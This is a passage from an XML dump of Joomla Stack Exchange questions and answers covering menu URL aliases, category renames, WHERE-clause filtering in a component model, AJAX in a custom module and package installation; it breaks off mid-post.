  <row Id="20532" PostTypeId="1" CreationDate="2017-04-09T14:15:38.997" Score="0" ViewCount="918" Body="&lt;p&gt;I would like to simplify SEF URLs of menu items in lower levels of my menu by omitting the parent menu item alias from the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed the &lt;a href=&quot;https://extensions.joomla.org/extensions/extension/site-management/sef/direct-alias/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Direct Alias&lt;/a&gt; plugin, which should be doing exactly this thing, but I have a strange problem with it: When I use the plugin to set a lower level menu item alias as 'direct', then in the frontend display the item is moved from dropdown to the top level menu. Or when I set the plugin to automatically affect all menu items, they are all put to the top level. I suspect this might be caused by &lt;a href=&quot;http://gantry.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gantry 5&lt;/a&gt; (I'm using a Gantry menu particle for the main menu), because in an ordinary Joomla menu module the plugin works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a known issue? Is there any workaround? Or is there any alternative to the Direct Alias plugin to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="5848" LastActivityDate="2017-11-29T14:22:37.737" Title="Simplify menu item URLs" Tags="|url|sef|gantry|submenu|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20533" PostTypeId="1" CreationDate="2017-04-09T17:15:14.570" Score="3" ViewCount="87" Body="&lt;p&gt;I need smartsearch results &quot;was more smart&quot;. When I type &quot;sumula&quot; they return &quot;sumulas&quot;, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;sumulas&quot; is plural of &quot;sumula&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="13058" LastEditDate="2018-11-14T10:35:16.983" LastActivityDate="2020-08-06T01:03:55.373" Title="How to smartsearch return synonymous and plural in results?" Tags="|smartsearch|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20535" PostTypeId="2" ParentId="20532" CreationDate="2017-04-10T11:06:12.113" Score="1" Body="&lt;p&gt;The simplest option may be to create a new menu which doesn't have an associated module (call it something like 'hidden').  This menu will not appear on the front of the site, but its items can still be loaded by going directly to the URLs you have set up within it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Place any pages you want to appear at a root level in this menu, and then create a &lt;a href=&quot;https://docs.joomla.org/Help36:Menus_Menu_Item_Menu_Item_Alias&quot; rel=&quot;nofollow noreferrer&quot;&gt;menu item alias&lt;/a&gt; where you want the page to appear in the dropdown of your visible menu.  The URL will then come from the hidden menu item and not the alias menu item, and thus the URL will be based in the root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This avoids having to use any third party plug-ins - using core Joomla whenever possible is good practise for security, so delete any unused ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have hundreds of pages then this may not be practical, though if it is only for SEO, I'd question if root level URLs really do make any difference - there's so much hearsay out there and I can't think of any logical reason why Google would care.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-04-10T11:06:12.113" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20536" PostTypeId="2" ParentId="20530" CreationDate="2017-04-11T00:30:24.660" Score="1" Body="&lt;p&gt;A friend pointed this out to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template is set by the active menu item. If there is no active menu item, there's no active template, so it drops to default template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In view.html.php for the view I was working with, I had a function to prepare the document. I had to add/tweak the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function _prepareDocument()&#xA;    {&#xA;        $app   = JFactory::getApplication();&#xA;        $menus = $app-&amp;gt;getMenu();&#xA;        $menu = $menus-&amp;gt;getActive();&#xA;        // If the active menu item isn't set, we lose the template&#xA;        if (!$menu) {&#xA;        $menus-&amp;gt;setActive(573);&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The active menu item id can be anything you need it to be. I created a menu item on a hidden menu to represent this (which means I can add modules, etc to the page as well) and then took the ID number from the menu manager in the admin area.&lt;/p&gt;&#xA;" OwnerUserId="5325" LastActivityDate="2017-04-11T00:30:24.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20537" PostTypeId="1" AcceptedAnswerId="20559" CreationDate="2017-04-11T01:31:50.623" Score="2" ViewCount="139" Body="&lt;p&gt;We have a Joomla website, and I renamed a category (it was named &quot;Active Clinical Trials&quot; - and I changed that to just &quot;Clinical Trials&quot;)&#xA;But - if you go to this link (open in a new tab please to remain on this post)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.curefa.org/active-clinical-trials/44-clinical-trials-active-enrolling&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.curefa.org/active-clinical-trials/44-clinical-trials-active-enrolling&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will see that the old Category name is still being displayed in the SEF URL, in the &quot;breadcrumbs&quot;, and in the header of the page.&#xA;I have looked at the menu items - the categories - and have not yet discovered where the page is getting the old category name from?&#xA;Any help would be greatly appreciated.  Thanks...&lt;/p&gt;&#xA;" OwnerUserId="10935" LastEditorUserId="10935" LastEditDate="2017-04-11T01:41:49.453" LastActivityDate="2017-04-13T22:42:45.060" Title="Joomla Category Rename Problem" Tags="|category|" AnswerCount="4" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="20538" PostTypeId="2" ParentId="19457" CreationDate="2017-04-11T02:38:30.223" Score="1" Body="&lt;p&gt;The variable was being set on each page load (onAfterInitialize), so it was setting to null whenever the get var wasn't present. Fixed it with if not null;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     $app = JFactory::getApplication();&#xA;     $ref  = $app-&amp;gt;input-&amp;gt;getInt('ref');&#xA;     $session = JFactory::getSession();&#xA;&#xA;     if(!is_null($ref)){&#xA;&#xA;         $session-&amp;gt;set('referrer', $ref);&#xA;     }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So now the session variable only sets if it's not null. Duh Omni!&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2017-04-11T02:38:30.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20539" PostTypeId="2" ParentId="20537" CreationDate="2017-04-11T03:01:52.677" Score="2" Body="&lt;p&gt;Try clearing the cache. Go to administrator &gt; system &gt; clear cache , also be sure to clear your browsers cache.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2017-04-11T03:01:52.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20540" PostTypeId="2" ParentId="20537" CreationDate="2017-04-11T08:59:11.697" Score="2" Body="&lt;p&gt;Have you updated the alias as well as the name of the category?  It's the alias that should be generating the URL.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alias will automatically generate a value based on your name if left blank, but will not automatically update when you change the name.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-04-11T08:59:11.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20541" PostTypeId="1" AcceptedAnswerId="20542" CreationDate="2017-04-11T12:40:58.373" Score="2" ViewCount="485" Body="&lt;p&gt;Okay, so I am completely new to Joomla and I am trying to edit the source files of a component I built using &lt;a href=&quot;https://www.component-creator.com/en/&quot; rel=&quot;nofollow noreferrer&quot;&gt;component-creator.com&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a database which stores different data for multiple different users, and I want to design several views where the logged-in user can view only the data associated with their own user name in the database. Currently, every user can see a listing of the data of every other user in the database, which is unacceptable for security reasons. I assume that I need to somehow retrieve the current session user id and use a WHERE query to filter the list view down to only the database entries associated with that user id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, what files do I need to edit? Component-creator seems to suggest &lt;a href=&quot;https://www.component-creator.com/wiki/index.php?title=Add_where_clause_to_a_SQL_Joomla_field&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; that I need to edit &lt;em&gt;views/students/view.html.php&lt;/em&gt;, while some other forums seem to point to &lt;em&gt;models/students.php&lt;/em&gt;. &lt;em&gt;models/students.php&lt;/em&gt; seems to already have several SQL queries with chaining and WHERE clauses, but I wanted to make sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, how do I retrieve and/ or pass the current session user id? Do I somehow need to pass that variable from &lt;em&gt;views/students/tmpl/default.php&lt;/em&gt;, or can I retrieve it directly from within &lt;em&gt;models/students.php&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insight is appreciated. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="10936" LastActivityDate="2017-04-11T17:11:25.633" Title="Where query in Joomla component - what file do I edit?" Tags="|php|component|development|mysql|view|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20542" PostTypeId="2" ParentId="20541" CreationDate="2017-04-11T12:51:56.437" Score="2" Body="&lt;p&gt;As you've probably gathered already, Joomla is an MVC (model, view controller) content management system, so you're database queries will be located in the model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;models/students.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As for current user data, you can get the &lt;a href=&quot;https://docs.joomla.org/Accessing_the_current_user_object&quot; rel=&quot;nofollow noreferrer&quot;&gt;current user object&lt;/a&gt; like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if it's the actual session ID you wish to get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;echo $session-&amp;gt;getId();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both of which you can access in any part of the component, so yes, that includes the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2017-04-11T17:11:25.633" LastActivityDate="2017-04-11T17:11:25.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20544" PostTypeId="1" AcceptedAnswerId="20545" CreationDate="2017-04-11T19:02:41.947" Score="3" ViewCount="140" Body="&lt;p&gt;I built a Joomla component for a school using component-creator.com and now I am trying to modify the source files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current view lists off all parents and students in my database, visible to all registered users. I am trying to modify the SQL query in &lt;em&gt;models/students.php&lt;/em&gt; to only show the students associated with the currently logged in user. I tried to do this by modifying the where clause, but I keep getting a syntax error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the original code of &lt;em&gt;models/students.php&lt;/em&gt;, which displays all students and parents to anybody with permission to view the form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getItems()&#xA;    {&#xA;        $items = parent::getItems();&#xA;&#xA;        foreach ($items as $item)&#xA;        {&#xA;            if (isset($item-&amp;gt;parent) &amp;amp;&amp;amp; $item-&amp;gt;parent != '')&#xA;            {&#xA;                if (is_object($item-&amp;gt;parent))&#xA;                {&#xA;                    $item-&amp;gt;parent = \Joomla\Utilities\ArrayHelper::fromObject($item-&amp;gt;parent);&#xA;                }&#xA;&#xA;                $values = (is_array($item-&amp;gt;parent)) ? $item-&amp;gt;parent : explode(',', $item-&amp;gt;parent);&#xA;                $textValue = array();&#xA;&#xA;                foreach ($values as $value)&#xA;                {&#xA;                    $db = JFactory::getDbo();&#xA;                    $query = $db-&amp;gt;getQuery(true);&#xA;                    $query&#xA;                            -&amp;gt;select('`#__users_2679886`.`name`')&#xA;                            -&amp;gt;from($db-&amp;gt;quoteName('#__users', '#__users_2679886'))&#xA;                        -&amp;gt;where($db-&amp;gt;quoteName('id') . ' = ' . $db-&amp;gt;quote($db-&amp;gt;escape($value)));&#xA;                    $db-&amp;gt;setQuery($query);&#xA;                    $results = $db-&amp;gt;loadObject();&#xA;&#xA;                    if ($results)&#xA;                    {&#xA;                        $textValue[] = $results-&amp;gt;name;&#xA;                    }&#xA;                }&#xA;&#xA;                $item-&amp;gt;parent = !empty($textValue) ? implode(', ', $textValue) : $item-&amp;gt;parent;&#xA;            }&#xA;&#xA;        }&#xA;&#xA;        return $items;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the section of the code which I modified, producing a syntax error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            $db = JFactory::getDbo();&#xA;            $user = JFactory::getUser();&#xA;            $query = $db-&amp;gt;getQuery(true);&#xA;            $query&#xA;                    -&amp;gt;select('`#__users_2679886`.`name`')&#xA;                    -&amp;gt;from($db-&amp;gt;quoteName('#__users', '#__users_2679886'))&#xA;                -&amp;gt;where($db-&amp;gt;quoteName('id') . ' = ' . $db-&amp;gt;quote($db-&amp;gt;escape($value)) AND parent.id = $user-&amp;gt;id);&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $results = $db-&amp;gt;loadObject();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I simply tried to modify the WHERE cause by adding &lt;code&gt;AND parent.id = $user-&amp;gt;id&lt;/code&gt;, but the syntax error returned is: &lt;em&gt;syntax error, unexpected '=', expecting ',' or ')'&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for help to modify my specific code as well as an explanation of the WHERE clause, since Joomla's chained SQL syntax is confusing for me and I will need to perform multiple WHERE operations throughout my site design. I have consulted &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://joomla.stackexchange.com/questions/5612/how-to-combine-ands-and-ors-in-the-where-clause-using-a-query-object&quot;&gt;here&lt;/a&gt;, but I can't seem to find a clear guide showing how to build and chain the WHERE statement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insight is appreciated. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="10936" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2017-04-11T19:43:54.197" Title="SQL syntax error when attempting to filter list view - how to build WHERE clause?" Tags="|joomla-3.x|php|component|mysql|view|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20545" PostTypeId="2" ParentId="20544" CreationDate="2017-04-11T19:43:54.197" Score="4" Body="&lt;p&gt;Try changing your query to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select('#__users_2679886', 'name')&#xA;      -&amp;gt;from($db-&amp;gt;qN('#__users', '#__users_2679886'))&#xA;      -&amp;gt;where($db-&amp;gt;qN('id') . ' = ' . $db-&amp;gt;q($value)&#xA;      -&amp;gt;where($db-&amp;gt;qN('parent.id') . ' = ' . $user-&amp;gt;id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem was coming from &lt;code&gt;$db-&amp;gt;q(parent.id = $user-&amp;gt;id)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other that that, I've made a few tweaks to the query for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just note that you don't need to do &lt;code&gt;$db-&amp;gt;quote($db-&amp;gt;escape('XXX'))&lt;/code&gt;, just &lt;code&gt;$db-&amp;gt;quote('XXX')&lt;/code&gt; is fine.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-04-11T19:43:54.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20547" PostTypeId="2" ParentId="20537" CreationDate="2017-04-12T01:14:35.457" Score="2" Body="&lt;p&gt;You could try to use the Rebuild button in category toolbar. Some time ago I had a similar issue, and that solved it. Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2017-04-12T01:14:35.457" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20548" PostTypeId="2" ParentId="9655" CreationDate="2017-04-12T12:18:02.880" Score="1" Body="&lt;p&gt;I know this is an old thread but some of are still having this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that it works if I do NOT use a secure connection, ie, &quot;https&quot;  but just http.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I manage 2 sites on the same hosting site and there is no problem on one of them using either https or http so I must have a setting somewhere preventing the icons from showing in a secure connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;David&lt;/p&gt;&#xA;" OwnerUserId="10941" LastActivityDate="2017-04-12T12:18:02.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20549" PostTypeId="1" CreationDate="2017-04-12T15:04:46.390" Score="1" ViewCount="87" Body="&lt;p&gt;I'm stuck for about 2 hours now and can't solve this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On this &lt;a href=&quot;http://csvr.org.za/programmes&quot; rel=&quot;nofollow noreferrer&quot;&gt;page&lt;/a&gt;, there are 6 links starting by (Advocacy) and finishing by (Research) located on the Left side of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to re-link each of these link to the correct article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have all the articles in place, but I'm unable to link them to they respective articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to go to &quot;Menu Items&quot; but it doesn't appear to be Menu as I tried to link but have not worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please can you help?  &lt;/p&gt;&#xA;" OwnerUserId="8189" LastActivityDate="2017-04-14T17:05:35.907" Title="How to change Joomla broken Jooma link to new one" Tags="|joomla-3.x|joomla-2.5|" AnswerCount="3" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20550" PostTypeId="2" ParentId="20549" CreationDate="2017-04-12T17:55:18.750" Score="-1" Body="&lt;p&gt;You can't edit from menu manager because this is not menu.&#xA;I see this is menu called programmes and some main category is used here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to solve this issue simple:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to article manager and find your article(s)&lt;/li&gt;&#xA;&lt;li&gt;Change article category to Advocacy or Research.&lt;/li&gt;&#xA;&lt;li&gt;Done&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9029" LastActivityDate="2017-04-12T17:55:18.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20551" PostTypeId="2" ParentId="20549" CreationDate="2017-04-12T18:34:16.180" Score="1" Body="&lt;p&gt;I think that the menu has been created using a custom html module rather than a menu.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is because the menu has &lt;code&gt;&amp;lt;div class=&quot;custom&quot;&amp;gt;&lt;/code&gt; around it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go to the module manager (extensions - modules) and search for the type &lt;code&gt;custom&lt;/code&gt; then you should find it.  Here you should be able to update the links with a WYSIWYG editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have the time, it may make sense to replace this with a menu module rather than this custom html one, as that would be better practise - the content of a menu should really be in the menu manager and not here.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-04-12T18:34:16.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20552" PostTypeId="2" ParentId="20549" CreationDate="2017-04-12T19:05:20.313" Score="1" Body="&lt;p&gt;This is not a menu / menu module. This is a custom html module and the links are manually hard-written. So all you need to do is to go in the module manager and search/find this particular custom html module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the filters (module type / position) - for module type you are after the term &lt;code&gt;Custom&lt;/code&gt; - for position, it is that left position - if you know what it's name is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there you can edit inside the html code the links as you like.&#xA;However, this is going to have a menu-type usage, you might be better if you would create a new menu (name it Left Menu) and create a new menu module for this menu, and assign it to that module position - and disable/trash/delete the current module.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-04-12T19:05:20.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20553" PostTypeId="2" ParentId="10758" CreationDate="2017-04-13T07:30:05.877" Score="0" Body="&lt;p&gt;When dealing with a single row of data, try using &lt;em&gt;JTable&lt;/em&gt;. It follows the Active Record pattern. After performing a &lt;code&gt;$row-&amp;gt;save()&lt;/code&gt;, &lt;code&gt;$row-&amp;gt;id&lt;/code&gt; is updated with the actual value of the primary key.&lt;/p&gt;&#xA;" OwnerUserId="10947" LastEditorUserId="1520" LastEditDate="2017-04-13T08:14:25.727" LastActivityDate="2017-04-13T08:14:25.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20554" PostTypeId="1" CreationDate="2017-04-13T08:20:16.290" Score="3" ViewCount="5399" Body="&lt;p&gt;I think this might be useful in future for many others.&#xA;First of all, I know that there's com_ajax for this kind of a job, but I do not want to use it. Is there an alternative?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I got:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;default.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; name=&quot;filterForm&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; name=&quot;checkboxList[]&quot; value=&quot;1&quot;&amp;gt;value1&amp;lt;/input&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; name=&quot;checkboxList[]&quot; value=&quot;2&quot;&amp;gt;value2&amp;lt;/input&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; name=&quot;checkboxList[]&quot; value=&quot;3&quot;&amp;gt;value3&amp;lt;/input&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&#xA;&#xA;jQuery(function($) { // DOM is now ready&#xA;&#xA;    $(&quot;input[type=checkbox]&quot;).on(&quot;change&quot;, function() {&#xA;        var data = $(&quot;filterForm&quot;).serialize();&#xA;        $.ajax({&#xA;            url: &quot;/modules/mod_mymodule/mymodule.php&quot;,&#xA;            type: &quot;POST&quot;,&#xA;            async: true,&#xA;            cache: false,&#xA;            data: ({data: data}),&#xA;            dataType: &quot;text&quot;,&#xA;        });&#xA;    });&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;mymodule.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//defined('_JEXEC') or die; &amp;lt;-- So it's possible to access this file&#xA;print_r($_POST);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get an empty array. What is wrong?&lt;/p&gt;&#xA;" OwnerUserId="9764" LastActivityDate="2017-06-01T12:16:38.343" Title="Using AJAX in a custom module - how to do it?" Tags="|joomla-3.x|ajax|custom-module|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="20555" PostTypeId="1" CreationDate="2017-04-13T15:01:37.120" Score="1" ViewCount="708" Body="&lt;p&gt;I know well how to create custom form field in joomla module settings as written in the accepted answer of this &lt;a href=&quot;https://stackoverflow.com/questions/5727522/need-help-with-joomla-1-6-module-custom-basic-settings/&quot;&gt;question&lt;/a&gt; which is basically extending JFormField class. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what i want to do is suppose there is a custom form field type &quot;unique id&quot; in module's settings page in admin panel, user of the module puts some value in the textbox of this field, and when module settings is saved then that field with value is included in the param field in database table(#_modules) for this module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what i want is that i want to save that field value in another table. Look like i need to override some classes when module settngs data is saved, so for this i need quick help or what other ways i can achieve that ? FYI i just don't want to put a form in module at front end to get input for that field from user, i want to do that from module settings page in admin panel which i guess is logical. Thanks in advance for saving my time.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:52.207" LastActivityDate="2017-04-13T15:01:37.120" Title="Saving custom field parameter value from module settings" Tags="|joomla-3.x|php|joomla-2.5|module|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="20556" PostTypeId="2" ParentId="20554" CreationDate="2017-04-13T15:22:50.967" Score="2" Body="&lt;p&gt;I don't understand why you are trying to bypass the framework. I know it is resources wise but it opens you up to security risks. The other thing is that you can't use framework classes/functions as easily. What I would do is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Instead of using a direct URL to the module file, use current URI (&lt;code&gt;JURI::current()&lt;/code&gt; as far as I remember). This will direct a POST data to a view where your module was executed so you have the access to it from your module.&lt;/li&gt;&#xA;&lt;li&gt;Then use &lt;code&gt;JFactory::getApplication()-&amp;gt;input&lt;/code&gt; in your module to access the post data sent by jQuery request. That way you're in the framework, all the security/filtering options are available and working.&lt;/li&gt;&#xA;&lt;li&gt;Depending on what you want to do with the data you can store it in the database, file or send it by email.&lt;/li&gt;&#xA;&lt;li&gt;If you need to let jQuery know about the result of your actions with the data you can exit the application &lt;code&gt;JFactory::getApplication()-&amp;gt;close(&quot;OK&quot;)&lt;/code&gt; then just check the response in jQuery.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="115" LastEditDate="2017-06-01T12:16:38.343" LastActivityDate="2017-06-01T12:16:38.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20557" PostTypeId="2" ParentId="20532" CreationDate="2017-04-13T15:30:16.923" Score="1" Body="&lt;p&gt;There are few ways to do it without any plugins:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a detached menu (menu without any module) and add there the menu items you want to have a short URL.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;Redirects&lt;/code&gt; component to create a redirection from for example &lt;code&gt;/iphone&lt;/code&gt; to &lt;code&gt;/products/smartphones/apple/iphone&lt;/code&gt;. That way you don't have to change menu structure&lt;/li&gt;&#xA;&lt;li&gt;Create a menu item in one of the menus as a top-level menu item and disable it from displaying in the module using &lt;code&gt;/Link Type/Display in Menu/No&lt;/code&gt; option in menu item options.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2017-04-13T15:30:16.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20559" PostTypeId="2" ParentId="20537" CreationDate="2017-04-13T22:42:45.060" Score="1" Body="&lt;p&gt;Looking at your sitemap it looks like there is a menu item Mobile Menu-&gt;RideAtaxia Blog -&gt;Active Clinical Trials: &lt;a href=&quot;http://www.curefa.org/site-map&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.curefa.org/site-map&lt;/a&gt; . Double check that menu alias.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2017-04-13T22:42:45.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20560" PostTypeId="1" AcceptedAnswerId="20563" CreationDate="2017-04-13T22:48:37.610" Score="1" ViewCount="1091" Body="&lt;p&gt;I am following everything on: &lt;a href=&quot;https://docs.joomla.org/Package&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Package&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And still got the error: JInstaller: :Install: Can't find Joomla XML setup file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The XML file has the correct name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The package zip file is pkg_mtpackage.zip which contains&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;pkg_mtpackage.xml&lt;/li&gt;&#xA;&lt;li&gt;/packages (folder with both extension files)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The XML File is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; ?&amp;gt;&#xA; &amp;lt;extension type=&quot;package&quot; version=&quot;3.x&quot; method=&quot;upgrade&quot;&amp;gt;&#xA; &amp;lt;name&amp;gt;MTPackage&amp;lt;/name&amp;gt;&#xA; &amp;lt;author&amp;gt;John Doe&amp;lt;/author&amp;gt;&#xA; &amp;lt;creationDate&amp;gt;April 2017&amp;lt;/creationDate&amp;gt;&#xA; &amp;lt;packagename&amp;gt;mtpackage&amp;lt;/packagename&amp;gt;&#xA; &amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA; &amp;lt;description&amp;gt;Installation of the main MT Custom extensions.&amp;lt;/description&amp;gt;&#xA; &amp;lt;files folder=&quot;packages&quot;&amp;gt;&#xA;   &amp;lt;file type=&quot;module&quot; id=&quot;mod_mt&quot; client=&quot;site&quot;&amp;gt;mod_mt.zip&amp;lt;/file&amp;gt;&#xA;   &amp;lt;file type=&quot;module&quot; id=&quot;mod_mt_mc&quot; client=&quot;site&quot;&amp;gt;mod_mt_mc.zip&amp;lt;/file&amp;gt;&#xA; &amp;lt;/files&amp;gt;&#xA; &amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And yes, the extensions are correct, they both install individually. I believe the Id is correct but I tried to replace them with just mtpackage too without any success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes the zip structure is also correct, XML is on the root 